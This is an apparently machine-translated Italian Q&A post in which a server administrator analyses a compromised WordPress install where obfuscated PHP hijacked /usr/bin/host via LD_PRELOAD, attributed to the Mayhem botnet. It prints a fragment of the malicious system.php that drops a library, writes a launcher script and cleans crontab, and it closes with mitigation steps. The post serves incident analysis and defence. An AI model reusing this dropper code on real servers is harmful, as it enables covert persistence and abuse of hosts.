/ usr / bin / host eseguito da script PHP compromesso

Oggi ho notato un elevato tasso di richieste insolite sul server web Apache e anche un traffico di rete in entrata piuttosto elevato. Dopo aver controllato la pagina mod_status di Apache, ho scoperto che gli URL offensivi provenivano dal percorso www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. E in effetti ho trovato diversi script PHP hackerati (offuscati) lì.

Notato anche strano processo eseguito dall'utente www-data:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

Il controllo ha /proc/7300/cmdlinerivelato che in effetti questo è il /usr/bin/hostbinario originale . netstat -anpha mostrato che ha molte connessioni HTTP aperte, quindi in qualche modo viene abusato del binario. debsumsha confermato che il checksum binario è OK. Poiché il processo è stato eseguito con l'utente www-data, non avevo motivo di credere che il server stesso fosse compromesso.

Come viene abusato di quel binario?

EDIT: questa non ampia domanda "come gestire un server compromesso". Piuttosto una domanda (e già una risposta) su un tipo specifico di abuso come viene tecnicamente fatto, poiché questo caso particolare è abbastanza creativo nel modo in cui funziona. Sembra che questo sia selvaggio da diversi anni (vecchie discussioni e domande dal 2012) e l'ho incontrato questa settimana.

Dopo aver scavato nei codici sorgente degli script PHP offensivi e googling ( questo thread ), ho trovato una spiegazione.

Questo fa parte del system.phpcodice che ho trovato:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Come /usr/bin/hostè coinvolto è un po 'più avanzato. I programmi usano librerie ( .sofile) per alcune delle loro funzioni. Gli utenti possono prelink ( LD_PRELOAD) alcuni file .so (s) prima di avviare un file binario legittimo per modificare il modo in cui agisce.

Come puoi vedere, questo script crea un file libworker.soe usa LD_PRELOADla variabile d'ambiente per precaricarlo, quindi il hostbinario legittimo sta facendo qualcosa di completamente diverso.

Crea uno 1.shscript di shell e tenta di eseguirlo in diversi modi (direttamente, usando il atcomando, usando cron). Immediatamente dopo rimuove lo script e il file della libreria dal disco, quindi viene notato.

Ciò che è accaduto in primo luogo è stato che alcuni plugin vulnerabili di Wordpress sono stati abusati e l'attaccante è stato in grado di mettere i propri file in directory scrivibili a parole.

Mitigare significa analizzare i vecchi file di registro degli accessi per quel dominio e cercare di trovare POSTrichieste in posizioni insolite, ad esempio accedere direttamente ai file PHP del plugin WP / Joomla è insolito. Quindi rimuovere tutti i file PHP offuscati trovati, correggere i permessi delle directory, terminare i hostprocessi in esecuzione e monitorare i file di registro per eventuali tentativi di re-hacking.

EDIT: Ho informazioni da ESET che rilevano già questa particolare libreria e anche altre versioni. Le aziende antivirus danno il nome Roopre e sembra che sia usato come parte della botnet Mayhem .

Analisi approfondita della botnet Mayhem.

Analisi approfondita di questo exploit.